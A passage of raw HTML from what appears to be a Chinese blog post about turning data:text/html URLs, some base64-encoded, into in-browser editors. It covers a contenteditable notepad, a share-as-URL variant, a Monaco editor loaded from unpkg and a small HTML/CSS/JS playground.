href=\"https://xeonds.github.io/2023/06/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E4%B8%80%E4%B8%AA%E5%A5%87%E6%80%AA%E7%9A%84Base64%E6%B5%8F%E8%A7%88%E5%99%A8%E8%AE%B0%E4%BA%8B%E6%9C%AC/#%E6%9C%AC%E4%BD%93\" class=\"headerlink\" title=\"本体\"\u003e\u003c/a\u003e本体\u003c/h2\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edata:text/html;base64,PGh0bWwgY29udGVudGVkaXRhYmxlPmVkaXQgbWU8L2h0bWw+\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e没了。对,没了。直接复制粘贴到浏览器(Chromium系的)地址栏里边打开,然后随便写什么都行。\u003c/p\u003e\u003cp\u003e写完了甚至可以直接\u003ccode\u003eCtrl+S\u003c/code\u003e保存网页,再打开甚至 还 能 编 辑 。\u003c/p\u003e\u003cp\u003e大 受 震 撼 . j p g\u003c/p\u003e\u003ch2 id=\"解析\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E4%B8%80%E4%B8%AA%E5%A5%87%E6%80%AA%E7%9A%84Base64%E6%B5%8F%E8%A7%88%E5%99%A8%E8%AE%B0%E4%BA%8B%E6%9C%AC/#%E8%A7%A3%E6%9E%90\" class=\"headerlink\" title=\"解析\"\u003e\u003c/a\u003e解析\u003c/h2\u003e\u003cp\u003e整体而言,这是个利用浏览器解码base64能力实现的编辑器,程序本体就是逗号后边的部分。解码能够得到:\u003c/p\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ehtml\u003c/span\u003e \u003cspan class=\"attr\"\u003econtenteditable\u003c/span\u003e\u0026gt;\u003c/span\u003eedit me\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ehtml\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e所以同理还可以玩更多花活(。\u003c/p\u003e\u003cp\u003e首先可以升级一下:\u003c/p\u003e\u003cp\u003e小加强版:\u003c/p\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edata:text/html,\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ebody\u003c/span\u003e \u003cspan class=\"attr\"\u003econtenteditable\u003c/span\u003e \u003cspan class=\"attr\"\u003estyle\u003c/span\u003e=\u003cspan class=\"string\"\u003eline-height:1.5;margin-left:20%;margin-right:20%;font-family:system-ui\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e再加强:支持将编辑内容一键复制成 url 分享给其他人 \u003c/p\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edata:text/html;base64,PGh0bWw+PGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPgogICAgPHRpdGxlPkRvY3VtZW50PC90aXRsZT4KICA8L2hlYWQ+CiAgPGJvZHk+CiAgICA8YnV0dG9uIGlkPSJidG4iPuWwhue8lui+keWGheWuueWkjeWItuS4ukRhdGFVcmw8L2J1dHRvbj4KICAgIDxkaXYgaWQ9ImVkaXRvci1hcmVhIiBjb250ZW50ZWRpdGFibGU9IiI+PC9kaXY+CiAgCiAgPHN0eWxlPgogICAgI2VkaXRvci1hcmVhIHsKICAgICAgd2lkdGg6IDEwMCU7CiAgICAgIGhlaWdodDogY2FsYygxMDB2aCAtIDgwcHgpOwogICAgICBtYXJnaW4tdG9wOiAyMHB4OwogICAgICBvdmVyZmxvdzogc2Nyb2xsOwogICAgICBvdXRsaW5lOiAxcHggc29saWQgZ3JheTsKICAgIH0KICA8L3N0eWxlPgogIDxzY3JpcHQ+CiAgICBmdW5jdGlvbiB1dGY4X3RvX2I2NChzdHIpIHsKICAgICAgcmV0dXJuIHdpbmRvdy5idG9hKHVuZXNjYXBlKGVuY29kZVVSSUNvbXBvbmVudChzdHIpKSk7CiAgICB9CgogICAgLy8gZnVuY3Rpb24gYjY0X3RvX3V0Zjgoc3RyKSB7CiAgICAvLyAgIHJldHVybiBkZWNvZGVVUklDb21wb25lbnQoZXNjYXBlKHdpbmRvdy5hdG9iKHN0cikpKTsKICAgIC8vIH0KCiAgICBjb25zdCBidG4gPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIjYnRuIik7CiAgICBidG4uYWRkRXZlbnRMaXN0ZW5lcigiY2xpY2siLCAoKSA9PiB7CiAgICAgIGNvbnN0IGh0bWxDb250ZW50ID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiaHRtbCIpOwogICAgICBjb25zb2xlLmxvZyhodG1sQ29udGVudC5pbm5lckhUTUwpOwogICAgICBjb25zdCBkYXRhVXJsID0gIjxodG1sPiIgKyBodG1sQ29udGVudC5pbm5lckhUTUwgKyAiPC9odG1sPiI7CiAgICAgIGNvbnN0IGJhc2U2NCA9IHV0ZjhfdG9fYjY0KGRhdGFVcmwpOwogICAgICAvLyBjb25zb2xlLmxvZyhiYXNlNjQpOwoKICAgICAgY29uc3QgaW5wdXRWYWx1ZSA9IGBkYXRhOnRleHQvaHRtbDtiYXNlNjQsJHtiYXNlNjR9YAogICAgICBjb25zdCBpbnB1dCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImlucHV0Iik7CiAgICAgIGlucHV0LnNldEF0dHJpYnV0ZSgicmVhZG9ubHkiLCAicmVhZG9ubHkiKTsKICAgICAgaW5wdXQuc2V0QXR0cmlidXRlKCJ2YWx1ZSIsIGlucHV0VmFsdWUpOwogICAgICBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGlucHV0KTsKICAgICAgaW5wdXQuc2V0U2VsZWN0aW9uUmFuZ2UoMCwgOTk5OSk7CiAgICAgIGlucHV0LnNlbGVjdCgpOwogICAgICBkb2N1bWVudC5leGVjQ29tbWFuZCgiY29weSIpOwogICAgICBkb2N1bWVudC5ib2R5LnJlbW92ZUNoaWxkKGlucHV0KTsKICAgIH0pOwogIDwvc2NyaXB0PgoKPC9ib2R5PjwvaHRtbD4=\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e再加强:VSCode版(不过这个因为用了外置js得联网):\u003c/p\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edata:text/html;charset=utf-8,\u003cspan class=\"meta\"\u003e\u0026lt;!DOCTYPE \u003cspan class=\"keyword\"\u003ehtml\u003c/span\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ehtml\u003c/span\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ehead\u003c/span\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003emeta\u003c/span\u003e \u003cspan class=\"attr\"\u003ehttp-equiv\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;Content-Type\u0026#34;\u003c/span\u003e \u003cspan class=\"attr\"\u003econtent\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;text/html;charset=utf-8\u0026#34;\u003c/span\u003e /\u0026gt;\u003c/span\u003e \u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ehead\u003c/span\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ebody\u003c/span\u003e \u003cspan class=\"attr\"\u003estyle\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;margin: 0; height: 100vh\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ediv\u003c/span\u003e \u003cspan class=\"attr\"\u003eid\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;container\u0026#34;\u003c/span\u003e \u003cspan class=\"attr\"\u003estyle\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;width: 100%; height: 100%\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ediv\u003c/span\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003escript\u003c/span\u003e \u003cspan class=\"attr\"\u003etype\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;text/javascript\u0026#34;\u003c/span\u003e \u003cspan class=\"attr\"\u003esrc\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;[https://unpkg.com/monaco-editor@latest/min/vs/loader.js](https://unpkg.com/monaco-editor@latest/min/vs/loader.js)\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003escript\u003c/span\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003escript\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"language-javascript\"\u003e \u003cspan class=\"built_in\"\u003erequire\u003c/span\u003e.\u003cspan class=\"title function_\"\u003econfig\u003c/span\u003e({ \u003cspan class=\"attr\"\u003epaths\u003c/span\u003e: { \u003cspan class=\"attr\"\u003evs\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#34;[https://unpkg.com/monaco-editor@latest/min/vs](https://unpkg.com/monaco-editor@latest/min/vs)\u0026#34;\u003c/span\u003e } }); \u003cspan class=\"built_in\"\u003erequire\u003c/span\u003e([\u003cspan class=\"string\"\u003e\u0026#34;vs/editor/editor.main\u0026#34;\u003c/span\u003e], \u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e (\u003cspan class=\"params\"\u003e\u003c/span\u003e) { monaco.\u003cspan class=\"property\"\u003eeditor\u003c/span\u003e.\u003cspan class=\"title function_\"\u003ecreate\u003c/span\u003e(\u003cspan class=\"variable language_\"\u003edocument\u003c/span\u003e.\u003cspan class=\"title function_\"\u003egetElementById\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;container\u0026#34;\u003c/span\u003e), { \u003cspan class=\"attr\"\u003elanguage\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#34;json\u0026#34;\u003c/span\u003e, \u003cspan class=\"attr\"\u003etheme\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#34;vs-dark\u0026#34;\u003c/span\u003e, }); }); \u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003escript\u003c/span\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ebody\u003c/span\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ehtml\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"花活1:升级版前端IDE\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E4%B8%80%E4%B8%AA%E5%A5%87%E6%80%AA%E7%9A%84Base64%E6%B5%8F%E8%A7%88%E5%99%A8%E8%AE%B0%E4%BA%8B%E6%9C%AC/#%E8%8A%B1%E6%B4%BB1%EF%BC%9A%E5%8D%87%E7%BA%A7%E7%89%88%E5%89%8D%E7%AB%AFIDE\" class=\"headerlink\" title=\"花活1:升级版前端IDE\"\u003e\u003c/a\u003e花活1:升级版前端IDE\u003c/h2\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edata:text/html,\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ebody\u003c/span\u003e \u003cspan class=\"attr\"\u003eoninput\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;i.srcdoc=h.value+\u0026#39;\u0026lt;style\u0026gt;\u0026#39;+c.value+\u0026#39;\u0026lt;/style\u0026gt;\u0026lt;script\u0026gt;\u0026#39;+j.value+\u0026#39;\u0026lt;/script\u0026gt;\u0026#39;\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003estyle\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"language-css\"\u003e\u003cspan class=\"selector-tag\"\u003etextarea\u003c/span\u003e,\u003cspan class=\"selector-tag\"\u003eiframe\u003c/span\u003e{\u003cspan class=\"attribute\"\u003ewidth\u003c/span\u003e:\u003cspan class=\"number\"\u003e100%\u003c/span\u003e;\u003cspan class=\"attribute\"\u003eheight\u003c/span\u003e:\u003cspan class=\"number\"\u003e50%\u003c/span\u003e}\u003cspan class=\"selector-tag\"\u003ebody\u003c/span\u003e{\u003cspan class=\"attribute\"\u003emargin\u003c/span\u003e:\u003cspan class=\"number\"\u003e0\u003c/span\u003e}\u003cspan class=\"selector-tag\"\u003etextarea\u003c/span\u003e{\u003cspan class=\"attribute\"\u003ewidth\u003c/span\u003e:\u003cspan class=\"number\"\u003e33.33%\u003c/span\u003e;\u003cspan class=\"attribute\"\u003efont-size\u003c/span\u003e:\u003cspan class=\"number\"\u003e18\u003c/span\u003e}\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003estyle\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e \u003cspan class=\"attr\"\u003eplaceholder\u003c/span\u003e=\u003cspan class=\"string\"\u003eHTML\u003c/span\u003e \u003cspan class=\"attr\"\u003eid\u003c/span\u003e=\u003cspan class=\"string\"\u003eh\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e \u003cspan class=\"attr\"\u003eplaceholder\u003c/span\u003e=\u003cspan class=\"string\"\u003eCSS\u003c/span\u003e \u003cspan class=\"attr\"\u003eid\u003c/span\u003e=\u003cspan class=\"string\"\u003ec\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e \u003cspan class=\"attr\"\u003eplaceholder\u003c/span\u003e=\u003cspan class=\"string\"\u003eJS\u003c/span\u003e \u003cspan class=\"attr\"\u003eid\u003c/span\u003e=\u003cspan class=\"string\"\u003ej\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eiframe\u003c/span\u003e \u003cspan class=\"attr\"\u003eid\u003c/span\u003e=\u003cspan class=\"string\"\u003ei\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e加强版:\u003c/p\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edata:text/html,\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ebody\u003c/span\u003e \u003cspan class=\"attr\"\u003eoninput\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;i.srcdoc=h.value+\u0026#39;\u0026lt;style\u0026gt;\u0026#39;+c.value+\u0026#39;\u0026lt;/style\u0026gt;\u0026lt;script\u0026gt;\u0026#39;+j.value+\u0026#39;\u0026lt;/script\u0026gt;\u0026#39;\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003estyle\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"language-css\"\u003e \u003cspan class=\"selector-tag\"\u003etextarea\u003c/span\u003e, \u003cspan class=\"selector-tag\"\u003eiframe\u003c/span\u003e { \u003cspan class=\"attribute\"\u003ewidth\u003c/span\u003e: \u003cspan class=\"number\"\u003e100%\u003c/span\u003e; \u003cspan class=\"attribute\"\u003eheight\u003c/span\u003e: \u003cspan class=\"number\"\u003e50%\u003c/span\u003e; \u003cspan class=\"attribute\"\u003ebackground-color\u003c/span\u003e: \u003cspan class=\"built_in\"\u003ergb\u003c/span\u003e(\u003cspan class=\"number\"\u003e245\u003c/span\u003e, \u003cspan class=\"number\"\u003e245\u003c/span\u003e, \u003cspan class=\"number\"\u003e245\u003c/span\u003e); } \u003cspan class=\"selector-tag\"\u003ebody\u003c/span\u003e { \u003cspan class=\"attribute\"\u003emargin\u003c/span\u003e: \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u003cspan class=\"attribute\"\u003ebackground-color\u003c/span\u003e: \u003cspan class=\"built_in\"\u003ergb\u003c/span\u003e(\u003cspan class=\"number\"\u003e245\u003c/span\u003e, \u003cspan class=\"number\"\u003e245\u003c/span\u003e, \u003cspan class=\"number\"\u003e245\u003c/span\u003e); } \u003cspan class=\"selector-tag\"\u003etextarea\u003c/span\u003e, \u003cspan class=\"selector-tag\"\u003eiframe\u003c/span\u003e { \u003cspan class=\"attribute\"\u003ewidth\u003c/span\u003e: \u003cspan class=\"number\"\u003e33.3%\u003c/span\u003e; \u003cspan class=\"attribute\"\u003eheight\u003c/span\u003e: \u003cspan class=\"number\"\u003e100%\u003c/span\u003e; \u003cspan class=\"attribute\"\u003eflex\u003c/span\u003e: \u003cspan class=\"number\"\u003e1\u003c/span\u003e; \u003cspan class=\"attribute\"\u003efont-size\u003c/span\u003e: \u003cspan class=\"number\"\u003e18\u003c/span\u003e; \u003cspan class=\"attribute\"\u003eresize\u003c/span\u003e: none; } \u003cspan class=\"selector-tag\"\u003etextarea\u003c/span\u003e\u003cspan class=\"selector-pseudo\"\u003e:focus\u003c/span\u003e { \u003cspan class=\"attribute\"\u003ebackground-color\u003c/span\u003e: white; } \u003cspan class=\"selector-class\"\u003e.menu\u003c/span\u003e { \u003cspan class=\"attribute\"\u003etext-align\u003c/span\u003e: center; \u003cspan class=\"attribute\"\u003eoverflow\u003c/span\u003e: hidden; \u003cspan class=\"attribute\"\u003ewidth\u003c/span\u003e: \u003cspan class=\"number\"\u003e100%\u003c/span\u003e; \u003cspan class=\"attribute\"\u003epadding\u003c/span\u003e: \u003cspan class=\"number\"\u003e5px\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e; } \u003cspan class=\"selector-class\"\u003e.panels\u003c/span\u003e { \u003cspan class=\"attribute\"\u003edisplay\u003c/span\u003e: flex; \u003cspan class=\"attribute\"\u003ejustify-content\u003c/span\u003e: center; \u003cspan class=\"attribute\"\u003eheight\u003c/span\u003e: \u003cspan class=\"built_in\"\u003ecalc\u003c/span\u003e(\u003cspan class=\"number\"\u003e100%\u003c/span\u003e - \u003cspan class=\"number\"\u003e40px\u003c/span\u003e); }\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003estyle\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003escript\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"language-javascript\"\u003e \u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title function_\"\u003eswitchDisplay\u003c/span\u003e(\u003cspan class=\"params\"\u003eid\u003c/span\u003e) { \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e dom = \u003cspan class=\"variable language_\"\u003edocument\u003c/span\u003e.\u003cspan class=\"title function_\"\u003egetElementById\u003c/span\u003e(id); \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!dom) \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e; \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (dom.\u003cspan class=\"property\"\u003estyle\u003c/span\u003e.\u003cspan class=\"property\"\u003edisplay\u003c/span\u003e !== \u003cspan class=\"string\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e) { dom.\u003cspan class=\"property\"\u003estyle\u003c/span\u003e.\u003cspan class=\"property\"\u003edisplay\u003c/span\u003e = \u003cspan class=\"string\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e; \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e; } \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (dom.\u003cspan class=\"property\"\u003estyle\u003c/span\u003e.\u003cspan class=\"property\"\u003edisplay\u003c/span\u003e === \u003cspan class=\"string\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e) { dom.\u003cspan class=\"property\"\u003estyle\u003c/span\u003e.\u003cspan class=\"property\"\u003edisplay\u003c/span\u003e = \u003cspan class=\"string\"\u003e\u0026#39;none\u0026#39;\u003c/span\u003e; \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e; } }\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003escript\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ediv\u003c/span\u003e \u003cspan class=\"attr\"\u003eclass\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;menu\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ebutton\u003c/span\u003e \u003cspan class=\"attr\"\u003eonclick\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;switchDisplay(\u0026#39;h\u0026#39;)\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003eHTML\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ebutton\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ebutton\u003c/span\u003e \u003cspan class=\"attr\"\u003eonclick\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;switchDisplay(\u0026#39;c\u0026#39;)\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003eCSS\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ebutton\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ebutton\u003c/span\u003e \u003cspan class=\"attr\"\u003eonclick\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;switchDisplay(\u0026#39;j\u0026#39;)\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003eJavaScript\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ebutton\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ebutton\u003c/span\u003e \u003cspan class=\"attr\"\u003eonclick\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;switchDisplay(\u0026#39;i\u0026#39;)\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003eOutput\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ebutton\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ediv\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ediv\u003c/span\u003e \u003cspan class=\"attr\"\u003eclass\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;panels\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e \u003cspan class=\"attr\"\u003eplaceholder\u003c/span\u003e=\u003cspan class=\"string\"\u003eHTML\u003c/span\u003e \u003cspan class=\"attr\"\u003eid\u003c/span\u003e=\u003cspan class=\"string\"\u003eh\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e \u003cspan class=\"attr\"\u003eplaceholder\u003c/span\u003e=\u003cspan class=\"string\"\u003eCSS\u003c/span\u003e \u003cspan class=\"attr\"\u003eid\u003c/span\u003e=\u003cspan class=\"string\"\u003ec\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e \u003cspan class=\"attr\"\u003eplaceholder\u003c/span\u003e=\u003cspan class=\"string\"\u003eJS\u003c/span\u003e \u003cspan class=\"attr\"\u003eid\u003c/span\u003e=\u003cspan class=\"string\"\u003ej\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eiframe\u003c/span\u003e \u003cspan class=\"attr\"\u003eid\u003c/span\u003e=\u003cspan class=\"string\"\u003ei\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan 